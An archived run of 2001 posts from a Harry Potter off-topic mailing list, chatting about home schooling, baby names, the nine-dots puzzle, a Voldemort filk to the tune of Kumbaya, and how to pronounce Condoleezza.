A friend of mine who had similarly vile school experiences has a daughter who is attending a Steiner school, and it all sounds fascinating.  I have my reservations about some of what I've heard (the lackadaisical administration and, in particular, no reading until 7), but a lot of it sounds like an improvement on my own primary education.  My postgrad supervisor attended Preshill, an alternative, anti-competition school (not sure what breed of alternative school it was, but anyway), and she is highly intelligent and successful and sent both of her own children there as well, which should say something.

Amy Z
> IMO, spending 6 hours a day with one's own age cohort and almost no adults or older and 
younger children, while very rewarding in its own way, lacks many of the benefits that come from spending those same hours engaging with members of the community of all ages, one's family, etc.  (...) There are lots of opportunities to learn to interact 
with others besides the schools.

A point I have long perused myself.  Once I had got used to the post-school multi-age world, I remember feeling stunned when I talked to schoolchildren and realised how limited their world was.  Even having a friend more than a year older or younger than oneself was considered suspect!  I'm sure that a responsible home-schooling parent could easily arrange for his or her children to get social contact elsewhere.

Hmm...

Tabouli.


[Non-text portions of this message have been removed]




From jenP_97 at yahoo.com  Tue Sep 25 17:29:11 2001
From: jenP_97 at yahoo.com (Jennifer Piersol)
Date: Tue, 25 Sep 2001 17:29:11 -0000
Subject: home schooling (warning: (too?) LONG!)
In-Reply-To: <001801c145e2$e93562c0$c692aecb@price>
Message-ID: <9oqet7+95c5@eGroups.com>

Tabouli quoted Amy:

> IMO, spending 6 hours a day with one's own age cohort and almost 
> no adults or older and younger children, while very rewarding in 
> its own way, lacks many of the benefits that come from spending 
> those same hours engaging with members of the community of all 
> ages, one's family, etc.  (...) There are lots of opportunities to 
> learn to interact with others besides the schools.

And then replied:
> 
> A point I have long perused myself.  Once I had got used to the 
> post-school multi-age world, I remember feeling stunned when I 
> talked to schoolchildren and realised how limited their world was.  
> Even having a friend more than a year older or younger than oneself 
> was considered suspect!  I'm sure that a responsible home-schooling 
> parent could easily arrange for his or her children to get social 
> contact elsewhere.
> 
> Hmm...
> 
> Tabouli.
> 

I've been considering homeschooling since I started substitute 
teaching - oh, I suppose it's been 6 years now.  Long before Ginger 
was born.  I used to bring it up to my colleagues and their SOs, but 
after getting a lot of "but how are they going to make friends?" 
thrown at me, I decided to just forget about talking about it to 
women/men who teach elementary school.  ;)  Anyway, I did some 
research, and there are a few options for me.  First, there is a 
"homeschool base" about 30 miles from my town.  It's a place where 
you register your children and take them for mandated state testing.  
You can also arrange for student swapping - one day a week or so, you 
take your kids to be taught by another of the parents... it gives you 
a chance to take a break, it brings the kids together, and it 
highlights another parent's area of expertise.  They also schedule 
field trips to the zoo and stuff... with a van to transport the kids. 
It's sort of a hybrid between "real" school and teaching your kids 
*only* at home.

The other option I would have as a homeschooler is to schedule 
certain classes with my local elementary schools - things I honestly 
*can't* do myself.  For example - group music and p.e. classes.  
Though I can (and will) teach my daughter how to play an instrument, 
I can't teach her to cooperate with other musicians without having 
those musicians in the house with her. :)  I can't teach my daughter 
how to play soccer without teaching her to cooperate with other 
players.  As music and P.E. classes are rigidly scheduled at the 
elementary schools (for example, group p.e. is every Tuesday and 
Thursday afternoon, and music classes are Fridays), it's easy for 
homeschooling parents to arrange with the administration to drop 
their children off for 3-4 hours a week for those specific classes 
only.

Whatever I choose, I am required by state law to schedule times to 
take standardized tests at the local elementary school (or to the 
homeschool "base" where they are officially registered).  

In any case, there are lots of options to "socialize" my child(ren).  
I also remember feeling very strange when I had to make friends 
outside my general age group.  In fact, I'm still having trouble 
feeling "normal" without anyone my age to talk to.  It's very 
limiting.  Don't want Ginger to feel that way.  

Hmm... sorry this is so long - I guess I have a lot of issues!

Jen (who is actually getting a little tired of staying home all the 
time, and is wondering if she'll be able to mentally cope with 
homeschooling after all.  However, seeing the state of teachers 
around here (subbing was VERY informative), I'm not sure I want to 
risk sending her, either)




From jenP_97 at yahoo.com  Tue Sep 25 17:35:08 2001
From: jenP_97 at yahoo.com (Jennifer Piersol)
Date: Tue, 25 Sep 2001 17:35:08 -0000
Subject: some thoughts about ghosts (from main list)
Message-ID: <9oqf8c+ec5u@eGroups.com>

Amy signed one of her replies:



Amy 
now wondering if she were less happy, could she become a ghost and go 
to Hogwarts after her death


*********


Ah, but Amy - becoming a ghost and going to Hogwarts - it would make 
you so happy that you'd probably get to spend only a few minutes 
before you'd cease being a ghost.  Then perhaps you'd be unhappy 
again, *re-ghostify*, appear at hogwarts, be happy, *re-un-ghostify*, 
et cetera, et cetera, ad infinitum, ad astra, (and however the "Zero, 
My Hero" song from Schoolhouse Rocks continues)... I'm thinking that 
would just be too much torture.

Perhaps that's hell?

Jen (who usually doesn't speculate on hell, because it starts to 
freak her out after a while)




From absinthe at mad.scientist.com  Tue Sep 25 18:03:36 2001
From: absinthe at mad.scientist.com (Milz)
Date: Tue, 25 Sep 2001 18:03:36 -0000
Subject: Movie and Current Events
Message-ID: <9oqgto+9t6s@eGroups.com>

I think by now most of you have heard the news that some movies 
slated to be released for the fall season have been postponed to a 
later date ("The Streets of New York") or postponed indefinitely. 
While I don't think Potter will be postponed, I do wonder how it will 
be received in the current political/social climate.

Considering the themes in the Potter books, will Harry's plight 
become a symbol of our times? Will his popularity increase because 
more adults and children can now identify with him? Will Harry be 
used by people wanting to make sense of our current events? 








From pennylin at swbell.net  Tue Sep 25 19:00:18 2001
From: pennylin at swbell.net (Penny Linsenmayer)
Date: Tue, 25 Sep 2001 19:00:18 -0000
Subject: I'm Back & Baby Names
In-Reply-To: <9opdqh+bgfs@eGroups.com>
Message-ID: <9oqk82+ob41@eGroups.com>

Hi --

--- In HPFGU-OTChatter at y..., "Amy Z" <aiz24 at h...> wrote:
> Penny wrote:
>
> > My husband is *very, very* sad that his father's middle name is
> Harry
> > (and it was the first name of his great-grandfather & great-uncle),
> > and I've already extracted a promise on that one if we should have a
> > boy.
>
> Why sad?

He thinks Harry is an adjective, not a name.  Alternatively, he thinks
Harry is an old fuddy-duddy name.  In any case, he doesn't like the
name Harry and would prefer any son not be named Harry.  Since we've
always agreed to use only names in our family trees, he would have
liked to say, "Ooh, so sad.  No Harrys in our family tree."  But, it's
*his* family with the name Harry.  <giggles>

> Amy
> who loves the name David but couldn't name a son that because it's
her > father's name and Jewish tradition dictates that it's the worst
of > luck to name a child for a still-living relative

If we have a boy, he's actually going to be David Harry, which makes
Bryce even more sad since he thinks it will remind people of the
Harry&David fruit basket catalogue order company.  :--)

Penny




From heidit at netbox.com  Tue Sep 25 19:15:14 2001
From: heidit at netbox.com (Tandy, Heidi)
Date: Tue, 25 Sep 2001 15:15:14 -0400
Subject: [HPFGU-OTChatter] Re: I'm Back & Baby Names
Message-ID: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2DA5@MIAEXCH1>

I offer to send Bryce caselaw citations that evidence lack of likelihood of
confusion when names are in the opposite order from the way they are in a
registered trademark. 
 
Does he remember his Personal Number at CF? I can chargeit to that :D

-----Original Message-----
From: Penny Linsenmayer [mailto:pennylin at swbell.net]

If we have a boy, he's actually going to be David Harry, which makes
Bryce even more sad since he thinks it will remind people of the
Harry&David fruit basket catalogue order company.  :--)





From hamster8 at hotmail.com  Tue Sep 25 19:49:29 2001
From: hamster8 at hotmail.com (hamster8 at hotmail.com)
Date: Tue, 25 Sep 2001 19:49:29 -0000
Subject: I'm Back & Baby Names
In-Reply-To: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2DA5@MIAEXCH1>
Message-ID: <9oqn49+kivj@eGroups.com>

Panny ...
 
"If we have a boy, he's actually going to be David Harry, which makes
Bryce even more sad since he thinks it will remind people of the 
Harry&David fruit basket catalogue order company.  :--)"

Equally, Penny, you could get loads of free stuff from them :) ... 
ooh, the possibilities *evil snickering*

I am told, though this may be rumour, that Jack Daniels will send a 
crate of whisky to you if you can prove that's your name.

Al
-Who is going to call his first child 'Aston Martin DB5'




From neilward at dircon.co.uk  Tue Sep 25 20:51:32 2001
From: neilward at dircon.co.uk (Neil Ward)
Date: Tue, 25 Sep 2001 21:51:32 +0100
Subject: What box?
Message-ID: <006501c14603$dbd4ff20$123670c2@c5s910j>

Dear List

Can someone explain the origins of the phrase "thinking outside the box"?  I
keep seeing it, and I can guess what it means, but how did it come about?
What sort of thinking goes on inside the box, and is this a communal box, or
do we each have one?

I really need to know this before I go to bed or I shall lay awake,
pondering...

Yours daftly,

F Ford Anglia (Mr)






From Aberforths_Goat at Yahoo.com  Tue Sep 25 21:06:38 2001
From: Aberforths_Goat at Yahoo.com (Aberforth's Goat)
Date: Tue, 25 Sep 2001 23:06:38 +0200
Subject: [HPFGU-OTChatter] Re: Home Schooling
References: <9opdli+78ak@eGroups.com>
Message-ID: <007a01c14605$f7e0f320$e500a8c0@shasta>

Infesting topic!

My parents (who were missionaries in Sicily during my teens) weren't
particularly impressed with the local schools, so they signed me up for one
of the highly conservative, right-wing Christian curricula that appeared
during the 80's. I spent five years in the system (US grades 8 thru 12;
presumably 3rd form through A levels in the UK).

I would receive a large box full of books at the beginning of each year. The
books spent the following year educating me; at the end of the year, I
supplied proof of said education in the form of tests and homework, all
returned in a smaller box. During the summer I received a letter with my
grades for the previous year. The summer before my senior year I flew to the
US and took my ACT's - final proof that I actually had learned something.

It was a quirky education - excellent in many ways, lousy in others. For me,
being responsible for my own education was empowering. My textbooks took a
rather extreme political stance (they came out of a movement known as
Christian reconstructionism), which let me develop a knack for ideological
differentiation, critical thinking and polemics, besides a passion for
philosophy and theology. Science courses were a problem, though: since I
couldn't actually do the experiments, I had to imagine them, then report my
imaginings (complete with accidents, humorous observations about fellow
experimenters and anomalous data). (The graders knew perfectly well that I
was making it all up, but apparently they enjoyed the stories well enough to
give me decent grades.)

Socially, those were the loneliest years of my life, although that had more
to do with my family's cultural and religious issues than with home
schooling per se. However, there are also good sides to being in a school
that was exclusively concerned with learning and not with taunting Draco,
winning Quidditch matches and chasing down dates for Yule Balls. Boring,
yes - but more conducive to learning.

If I lived in the US, I would think seriously about home schooling, *if* we
could (a) network extensively (b) with kids and parents from a spectrum of
cultures and world views. (I think the spectrum part is important. The one
thing even more insular than home schooling is home schooling within a
network of people who think the rest of humanity has missed the boat.)

I wouldn't do it in Switzerland or Italy, though.

Baaaaaa!

Aberforth's Goat (a.k.a. Mike Gray)
_______________________

"Of course, I'm not entirely sure he can read, so that may not have been
bravery...."




From hamster8 at hotmail.com  Tue Sep 25 20:59:53 2001
From: hamster8 at hotmail.com (hamster8 at hotmail.com)
Date: Tue, 25 Sep 2001 20:59:53 -0000
Subject: Al made a silly.
In-Reply-To: <9oqn49+kivj@eGroups.com>
Message-ID: <9oqr89+606j@eGroups.com>

I wrote Panny instead of Penny.

Please don't kill me.




From john at walton.to  Tue Sep 25 21:15:45 2001
From: john at walton.to (John Walton)
Date: Tue, 25 Sep 2001 22:15:45 +0100
Subject: [HPFGU-OTChatter] Re: Sacrifice...
In-Reply-To: <9opkfl+234c@eGroups.com>
Message-ID: <B7D6B291.1A70%john@walton.to>

on 9/25/01 10:58 AM, macloudt at yahoo.co.uk at macloudt at yahoo.co.uk wrote:

> Just as long as they don't start going door to door with pamphlets
> and conversion attempts!  AAK!!!

I can see it nowadays...

[Scene: Well-dressed wizards in conservative dark robes knock on a door.]

Woman (opening door): Yes?

Man 1: Ma'am, have you thought about evil recently?

Woman: Are you Jehovah's Witnesses?

Man 2: No, ma'am, we're Death Eaters.

Woman: That's okay. Come on in.

::cackle::

--John
____________________________________________

http://www.apple.com/powerbook
The new Apple PowerBook G4 Titanium. ::drool::

John Walton -- john at walton.to
____________________________________________




From catherine at cator-manor.demon.co.uk  Tue Sep 25 22:00:29 2001
From: catherine at cator-manor.demon.co.uk (catherine at cator-manor.demon.co.uk)
Date: Tue, 25 Sep 2001 22:00:29 -0000
Subject: Sacrifice.../Hear, Hear
In-Reply-To: <B7D6B291.1A70%john@walton.to>
Message-ID: <9oqupt+gkq2@eGroups.com>

--- In HPFGU-OTChatter at y..., John Walton <john at w...> wrote:
> I can see it nowadays...
> 
> [Scene: Well-dressed wizards in conservative dark robes knock on a 
door.]
> 
> Woman (opening door): Yes?
> 
> Man 1: Ma'am, have you thought about evil recently?
> 
> Woman: Are you Jehovah's Witnesses?
> 
> Man 2: No, ma'am, we're Death Eaters.
> 
> Woman: That's okay. Come on in.
> 
> ::cackle::
> 
> --John


ROTFL!   Thank you, that really tickled me, for some reason (it's 
probably your cackle).  My husband is, as we, speak, rather perturbed 
at the laughter coming from the vicinity of the PC...

Thanks to all who replied to my Hear, hear query.  I am glad that a)
there are all these people who shared their confusion as well, and b) 
that there are people out there who can actually be bothered to look 
it up.

Catherine




From foxmoth at qnet.com  Tue Sep 25 22:18:27 2001
From: foxmoth at qnet.com (foxmoth at qnet.com)
Date: Tue, 25 Sep 2001 22:18:27 -0000
Subject: What box?
In-Reply-To: <006501c14603$dbd4ff20$123670c2@c5s910j>
Message-ID: <9oqvrj+nivo@eGroups.com>

--- In HPFGU-OTChatter at y..., "Neil Ward" <neilward at d...> wrote:
> Dear List
> 
> Can someone explain the origins of the phrase "thinking 
outside the box"?  I keep seeing it, and I can guess what it 
means, but how did it come about?
>
I believe it comes from the nine dots puzzle:

     *  *  *
     *  *  *
     *  *  *

Hopefully the formatting will not get messed up.  It's three rows 
of three dots each, all lined up.

Here are the rules:

*	Start by placing the pen on any dot on the square.
*	The goal is to connect all the dots by drawing four straight 
lines.
*	You cannot lift the pen off the paper; each line must start from 
the end of the previous line.
*	The lines must be straight; curves are not allowed.

The phrase "think outside the box" suggests the solution.
 
Pleasant dreams <veg>
Pippin







From blpurdom at yahoo.com  Tue Sep 25 23:29:44 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Tue, 25 Sep 2001 23:29:44 -0000
Subject: I'm Back & Baby Names
In-Reply-To: <9oqn49+kivj@eGroups.com>
Message-ID: <9or418+uu9j@eGroups.com>

--- In HPFGU-OTChatter at y..., hamster8 at h... wrote:
> 
> I am told, though this may be rumour, that Jack Daniels will send a 
> crate of whisky to you if you can prove that's your name.
> 
> Al
> -Who is going to call his first child 'Aston Martin DB5'

I don't watch David Letterman regularly these days, but this reminds 
of the early days of when he switched to CBS and would drop 
gratuitous plugs for various companies into his banter on the show. 
This resulted in huge trucks backing up to 30 Rockefeller Plaza 
delivering things like a lifetime supply of Pampers or Pop Tarts or 
car mufflers or whatever he mentioned...He tried to rope in Rolls 
Royce or Mercedes Benz at one point, I believe, but they didn't 
bite.  So good luck on the Aston Martin moniker, Al...

--Barb





From nethilia at yahoo.com  Wed Sep 26 00:50:11 2001
From: nethilia at yahoo.com (Nethilia De Lobo)
Date: Tue, 25 Sep 2001 17:50:11 -0700 (PDT)
Subject: FILK: Voldemort
In-Reply-To: <1001427362.410.96728.l10@yahoogroups.com>
Message-ID: <20010926005011.98868.qmail@web14606.mail.yahoo.com>

> > Amber proposed:
> >  
> > > Hey, how about NOBODY is sacrificed. Nobody else
> dies. Voldie 
> > discovers the 
> > > errors of his ways, trades in the Death Eater
> robes and marks for 
> > tie-dye 
> > > jeans, smiley t-shirts, and heart tattoos, and
> joins the rest of 
> the 
> > > HP-verse in singing "Kumbaya"?
> > 
> > ROTFL!
> > 
> > :Voldemort, Crabbe, Goyle, Malfoy, Macnair, etc.,
> each with an arm 
> > around the next, sway gently back and forth,
> singing:
> > 
> > Someone's crying, Lord, Kumbaya . . . 
> > 
> > Someone's screaming, Lord . . .
> > 
> > Someone's writhing, Lord . . .
> > 
> > Amy Z
> > really truly going back to bed now

Darn you all, I now have to Filk this. 
 

Vol-de-mort (to the tune of Kumbaya) 
Dedicated to Amber and Amy Z, because they started
this. =P

(In the Graveyard, Voldie has his body back, and the
Deatheaters all apparate around. They get in a circle
and start swaying back and forth with thier hands on
each other's shoulders)

Death Eaters: 

You've come back, my Lord!
Vol-de-mort,
You've come back, my Lord!
Vol-de-mort,
You've come back, my Lord!
Vol-de-mort,
Oh, Lord, Voldemort.

(Voldie points wand at Wormtail and gives him his
hand. Wormtail picks up twig and crushes it, then
grins.) 
WORMTAIL: 
It's a beauty, Lord, 
Vol-de-mort,
It's a strong hand, Lord, 
Vol-de-mort,
Oh, thank you my Lord, 
Vol-de-mort,
Oh, Lord, Voldemort. 

(Voldemort now points wand at Harry and casts the
Crutatio Curse. Harry screams.)

DEATH EATERS: 
Harry's screaming, Lord, 
Vol-de-mort,
Harry's writhing, Lord, 
Vol-de-mort,
Harry's in pain, Lord, 
Vol-de-mort,
Oh, Lord, Voldemort. 

Harry deserves this, 
Vol-de-mort,
Such a little prat,
Vol-de-mort,
We wait for his death,
Vol-de-mort,
Oh, Lord, Voldemort. 

(Voldie has Harry untied and starts the duel.)

Oh please kill him, Lord, 
Vol-de-mort,
End the blood line, Lord, 
Vol-de-mort,
Wipe the kid out, Lord, 
Vol-de-mort,
Oh, Lord, Voldemort. 

(Priori Incantatem starts. Death Eaters are confused.)
What's happening, Lord, 
Vol-de-mort?
What's your wand doing,
Vol-de-mort?
This can-not be good, 
Vol-de-mort,
Can we help, Voldemort?

(The shadows emerge from Voldies wand)
VOLDIE:
DO NOTHING! I am,
Vol-de-mort!
He should die! I am, 
Vol-de-mort!
This can't happen, I'm
Vol-de-mort!
I am Lord Voldemort!

Harry:(triumphantly, as the shadows of the dead come) 
See Cedric emerge,
Vol-de-mort,
And a Muggle too, 
Vol-de-mort,
Here comes Bertha, Lord, 
Vol-de-mort,
You won't win, Voldemort. 

There's my mother, Lord, 
Vol-de-mort,
There's my father, Lord, 
Vol-de-mort,
(James's Shadow)
My son, run now from
Vol-de-mort,
You'll make it past Voldemort. 

(Cedric)
Take my body from
Vol-de-mort,
Let them know the foe,
Vol-de-mort,
Tell, my parents of
Vol-de-mort,
He killed me, Voldemort. 

(Harry breaks the chain and runs out of the graveyard.
DE's panic.)
Harry's running, Lord, 
Vol-de-mort!
We can't hit him, Lord, 
Vol-de-mort!
The Portkey took him! Lord, 
Vol-de-mort!
He's gone Lord, Voldemort! 


--Neth


=====
--Nethilia de Lobo--
79% obsessed with Harry Potter
Wand: Dragon Heartstring, Ash, 7 inches
**Draco Dormiens Nunquam Titillandus.**

http://www.geocities.com/spenecial
Spenecial.com. Two girls. One Website. Total Chaos.

__________________________________________________
Do You Yahoo!?
Get email alerts & NEW webcam video instant messaging with Yahoo! Messenger. http://im.yahoo.com



From foxmoth at qnet.com  Wed Sep 26 01:58:16 2001
From: foxmoth at qnet.com (foxmoth at qnet.com)
Date: Wed, 26 Sep 2001 01:58:16 -0000
Subject: Home Schooling
In-Reply-To: <007a01c14605$f7e0f320$e500a8c0@shasta>
Message-ID: <9orcno+blh8@eGroups.com>

--- In HPFGU-OTChatter at y..., "Aberforth's Goat" 
<Aberforths_Goat at Y...> wrote:

 Science courses were a problem, though: since I
> couldn't actually do the experiments, I had to imagine them, 
then report myimaginings (complete with accidents, humorous 
observations about fellowexperimenters and anomalous data). 
(The graders knew perfectly well that Iwas making it all up, but 
apparently they enjoyed the stories well enough to
> give me decent grades.)
  

  Interesting...do you think Trelawney takes this attitude toward 
Ron and Harry's divination homework? 

Pippin, dangerously close to topic





From CollectiveSIAS at aol.com  Wed Sep 26 03:15:34 2001
From: CollectiveSIAS at aol.com (CollectiveSIAS at aol.com)
Date: Tue, 25 Sep 2001 23:15:34 EDT
Subject: [HPFGU-OTChatter] Re: home schooling
Message-ID: <e4.1b55e27b.28e2a256@aol.com>

In a message dated 9/25/01 1:43:08 PM Eastern Daylight Time, 
jenP_97 at yahoo.com writes:

>>>>>>>>>>I can't teach her to cooperate with other musicians without having 
those musicians in the house with her. :)  I can't teach my daughter 
how to play soccer without teaching her to cooperate with other 
players.  >>>>>>>>>>>

You COULD invite all those musicians to your house or church or temple :) or 
rec center!  We have a Co op  which has  PE, chorus ,a chess club and more.   
we get together have games (even against those public schools)  Put on plays, 
shows, tournaments etc.  We have a year book, talent show, dances and  even 
graduation ceremonies .   


> >>>>>.Jen (who is actually getting a little tired of staying home all the 
> time, and is wondering if she'll be able to mentally cope with 
> homeschooling after all.  However, seeing the state of teachers 
> around here (subbing was VERY informative), I'm not sure I want to 
> risk sending her, either)>>>>>>>
> 
> 
> I found the hardest part was trying to stay home with all the running 
> around, play dates, and new friends they had found  :)  

In a message dated 9/25/01 5:31:38 PM Eastern Daylight Time, 
Aberforths_Goat at Yahoo.com writes:


> (I think the spectrum part is important. The one
> thing even more insular than home schooling is home schooling within a
> )


You hit the nail on the head !! 

I am curious if any of the little wizards and witches do not go to formal 
school  Is there any evidence that all must go to a formal school at eleven?  

Jenna :: who wishes she could tear herself away from this computer:::


[Non-text portions of this message have been removed]




From Aberforths_Goat at Yahoo.com  Wed Sep 26 06:21:21 2001
From: Aberforths_Goat at Yahoo.com (Aberforth's Goat)
Date: Wed, 26 Sep 2001 08:21:21 +0200
Subject: [HPFGU-OTChatter] Re: Home Schooling
References: <9opdli+78ak@eGroups.com> <007a01c14605$f7e0f320$e500a8c0@shasta>
Message-ID: <008c01c14653$75cc55c0$e500a8c0@shasta>

Declaimed Mike,

> Infesting topic!

Err, I think I had a misunderstanding with my spell checker, since I meant
to say the topic is "interesting." Or at least that's what I thought I meant
to say.

Baaaaaa!

Aberforth's Goat (a.k.a. Mike Gray, who suspects that he's provided
definitive evidence about what home schooling does to one's sanity.)
_______________________

"Of course, I'm not entirely sure he can read, so that may not have been
bravery...."




From dfrankiswork at netscape.net  Wed Sep 26 09:43:01 2001
From: dfrankiswork at netscape.net (dfrankiswork at netscape.net)
Date: Wed, 26 Sep 2001 09:43:01 -0000
Subject: Home Schooling - now also long
In-Reply-To: <9opdli+78ak@eGroups.com>
Message-ID: <9os7v5+sqv9@eGroups.com>

Interesting responses...

Amy:

> In my case, one 
> of my reasons for wanting to hs my theoretical children is for them 
to 
> have =more= contact with the 'real world.'  IMO, spending 6 hours a 
> day with one's own age cohort and almost no adults or older and 
> younger children, while very rewarding in its own way, lacks many 
of 
> the benefits that come from spending those same hours engaging with 
> members of the community of all ages, one's family, etc.  Also, 
while 
> there isn't a lot of data on the subject, studies indicate that the 
> socialization of hs-ed children is on a par with public- and 
> private-schooled kids; in many ways hs-ed kids are more mature, 
> well-adjusted, etc. etc.  The most common objection to hs-ing I 
have 
> heard here is the one you raise, but I have my own thoughts on the 
> socialization children receive in school and they are not generally 
> complimentary.  There are lots of opportunities to learn to 
interact 
> with others besides the schools.

I sit corrected.  I hadn't really thought through the distinction 
between hs-ing *in order to* keep your children from other cultural 
influences (which I feel has been the case with some I have known - 
it was before the days of HP, but I reckon hs-ing would have been a 
defence against its unwholesome influence for them), and hs-ing 
recognising the issues.

That said, you are partly making the best of a poor schooling 
situation (and Tabouli got the worst of it).  When we lived in 
London, my children went to a racially and culturally fairly mixed 
primary school in Lewisham (Stillness, Neil, do you know it?), with 
British white, black (as well as W Indian and African), Turkish, 
Pakistani, Greek, Chinese and others (still fairly unexciting 
compared to, say, Southall).  Of the dozen or so teachers, one was 
black, one Iranian, and one was specially employed Turkish to deal 
with children for whom that was their first language.  The school had 
a very strong anti-racist policy which AFAIK was enforced.  One of 
the things we liked about the school (and miss here in whiter-than-
white Surrey) was the opportunity for the kids to get to know such a 
variety of cultures.  That would have happened far less with hs-ing, 
IMO, as the hs-ers we knew were all white middle class British or 
American.
> 
> Many people turn to hs-ing because their local schools don't meet 
their kids' special needs 
> (U.S. schools have to provide for kids with learning disabilities 
and 
> such, but special education, as it's called here, varies 
drastically 
> in quality from school to school, even from year to year).  

Again, our oldest is slightly dyslexic, and our youngest dyspraxic.  
We would not have known how to begin to deal with these issues, even 
the diagnosis. SN education here is far from perfect (we are 
considering putting Ben into private education, if we can afford it), 
but schools have been supportive and brought our kids along.

Also, I have doubts about our ability as parents to contribute much 
on the teaching front, even with specialisation in a network.  We 
have had plenty of posts here pointing out that contrary to popular 
opinion, teaching is a very difficult and skilled job.  There are 
also some psychological issues about the roles that our children 
perceive us in - it's nice as parents to say, I'm sorry, I know you 
don't like your homework, and I didn't like it either, but our hands 
are tied, we have no choice, it's the system.  In theory that's true 
for hs-ing too, but I think the practice must be difficult.

Ben's education brings me to the main issue - money.  Most families 
here simply can't afford home schooling.  They need two incomes to 
survive and, while that isn't always incompatible with hs-ing (one 
family I knew were musicians who could schedule concerts, music 
lessons, and hs-ing around each other), for most it is.  Schools are 
free, of course.  I guess some of the socialisation criticism may be 
sour grapes from people who feel they don't really have an option.

Mike the Goat's reply raises some other issues I will try to get to 
separately as this post is long enough.

David




From dfrankiswork at netscape.net  Wed Sep 26 09:48:54 2001
From: dfrankiswork at netscape.net (dfrankiswork at netscape.net)
Date: Wed, 26 Sep 2001 09:48:54 -0000
Subject: Baby Names
In-Reply-To: <9oqk82+ob41@eGroups.com>
Message-ID: <9os8a6+2ncg@eGroups.com>

Penny wrote:
> Since we've
> always agreed to use only names in our family trees, he would have
> liked to say, "Ooh, so sad.  No Harrys in our family tree."  But, 
it's
> *his* family with the name Harry.  <giggles>

Er, maybe this is one of those UK/US culture things, but why can't 
you just ditch the family tree and agree to use names you *both* 
like?  Or did Bryce already suggest that?

David




From aiz24 at hotmail.com  Wed Sep 26 11:22:23 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Wed, 26 Sep 2001 11:22:23 -0000
Subject: What box?
In-Reply-To: <006501c14603$dbd4ff20$123670c2@c5s910j>
Message-ID: <9osdpf+j2qt@eGroups.com>

> Can someone explain the origins of the phrase "thinking outside the 
box"?  I
> keep seeing it, and I can guess what it means, but how did it come 
about?
> What sort of thinking goes on inside the box, and is this a communal 
box, or
> do we each have one?

Dear Mr. Anglia,

I think the box is the elder brother of the envelope, as in "pushing 
the envelope."

Ms. Z




From dfrankiswork at netscape.net  Wed Sep 26 12:24:40 2001
From: dfrankiswork at netscape.net (dfrankiswork at netscape.net)
Date: Wed, 26 Sep 2001 12:24:40 -0000
Subject: Another silly question
Message-ID: <9oshe8+nqgr@eGroups.com>

How is Condoleeza pronounced?

BBC newsreaders say Conda-Leeza, but I had imagined Condolly-Etza, or 
even Condollay-Aytha

If the BBC are right, there's another non-HP filk, to tune of Eloise, 
author/singer long forgotten:

My Condoleeza
I'd love to squeeze her...

etc

David




From witchwanda2002 at yahoo.com  Wed Sep 26 12:30:40 2001
From: witchwanda2002 at yahoo.com (Wanda Mallett)
Date: Wed, 26 Sep 2001 05:30:40 -0700 (PDT)
Subject: [HPFGU-OTChatter] Another silly question
In-Reply-To: <9oshe8+nqgr@eGroups.com>
Message-ID: <20010926123040.4779.qmail@web13707.mail.yahoo.com>

A Big Thank You for a long overdue chuckle and sounds
of laughter! LOL are heard in the Mallett household!
LOL to everyone out there for all their funny posts
and silly questions! November 16th couln't get here
fast enough! We need a huge visual of HP world!
Thanxs,David!

Wanda the Witch of Revere, Massachusetts and Her Band
of Merry Muggles (thank goodness humor is back in our
home)

--- dfrankiswork at netscape.net wrote:
> How is Condoleeza pronounced?
> 
> BBC newsreaders say Conda-Leeza, but I had imagined
> Condolly-Etza, or 
> even Condollay-Aytha
> 
> If the BBC are right, there's another non-HP filk,
> to tune of Eloise, 
> author/singer long forgotten:
> 
> My Condoleeza
> I'd love to squeeze her...
> 
> etc
> 
> David
> 
> 


__________________________________________________
Do You Yahoo!?
Get email alerts & NEW webcam video instant messaging with Yahoo! Messenger. http://im.yahoo.com



From john at walton.to  Wed Sep 26 12:34:40 2001
From: john at walton.to (John Walton)
Date: Wed, 26 Sep 2001 13:34:40 +0100
Subject: Condollllleeeeeeeeeeezzzzzzzzzzzzaaaaaa
In-Reply-To: <9oshe8+nqgr@eGroups.com>
Message-ID: <B7D789F0.1AF3%john@walton.to>

on 9/26/01 1:24 PM, dfrankiswork at netscape.net at dfrankiswork at netscape.net
wrote:

> How is Condoleeza pronounced?
> 
> BBC newsreaders say Conda-Leeza, but I had imagined Condolly-Etza, or
> even Condollay-Aytha

Just kidding, it's "Condoleezza", with two Zs, is in fact pronounced

con-d at -LEE-z@ 

(the @s are schwas, i.e. lazy vowels, which say "uh", as in the o in
"lemon"). So, for Brits, "Conda-leeza" is fairly accurate.

::grin::

--John

____________________________________________

"It's our choices that show what we truly are, far more than our
abilities." --Albus Dumbledore

John Walton -- john at walton.to
____________________________________________




From blpurdom at yahoo.com  Wed Sep 26 14:51:23 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Wed, 26 Sep 2001 14:51:23 -0000
Subject: Home Schooling
In-Reply-To: <9orcno+blh8@eGroups.com>
Message-ID: <9osq1b+r1se@eGroups.com>

--- In HPFGU-OTChatter at y..., foxmoth at q... wrote:
> --- In HPFGU-OTChatter at y..., "Aberforth's Goat" 
> <Aberforths_Goat at Y...> wrote:
> 
>  Science courses were a problem, though: since I
> > couldn't actually do the experiments, I had to imagine them, 
> then report myimaginings (complete with accidents, humorous 
> observations about fellowexperimenters and anomalous data). 
> (The graders knew perfectly well that Iwas making it all up, but 
> apparently they enjoyed the stories well enough to
> > give me decent grades.)
>   
> 
>   Interesting...do you think Trelawney takes this attitude toward 
> Ron and Harry's divination homework? 
> 
> Pippin, dangerously close to topic

One has to wonder whether Dumbledore has her at the school to keep an 
eye on her...major candidate to be a Dark Witch, IMO...

--Barb
(also dangerously OT...)





From catherine at cator-manor.demon.co.uk  Wed Sep 26 16:00:40 2001
From: catherine at cator-manor.demon.co.uk (catherine at cator-manor.demon.co.uk)
Date: Wed, 26 Sep 2001 16:00:40 -0000
Subject: Condollllleeeeeeeeeeezzzzzzzzzzzzaaaaaa
In-Reply-To: <B7D789F0.1AF3%john@walton.to>
Message-ID: <9osu38+agou@eGroups.com>

--- In HPFGU-OTChatter at y..., John Walton <john at w...> wrote:
> on 9/26/01 1:24 PM, dfrankiswork at n... at dfrankiswork at n...
> wrote:
> 
> > How is Condoleeza pronounced?
> > 
> > BBC newsreaders say Conda-Leeza, but I had imagined Condolly-
Etza, or
> > even Condollay-Aytha
> 
> Just kidding, it's "Condoleezza", with two Zs, is in fact pronounced
> 
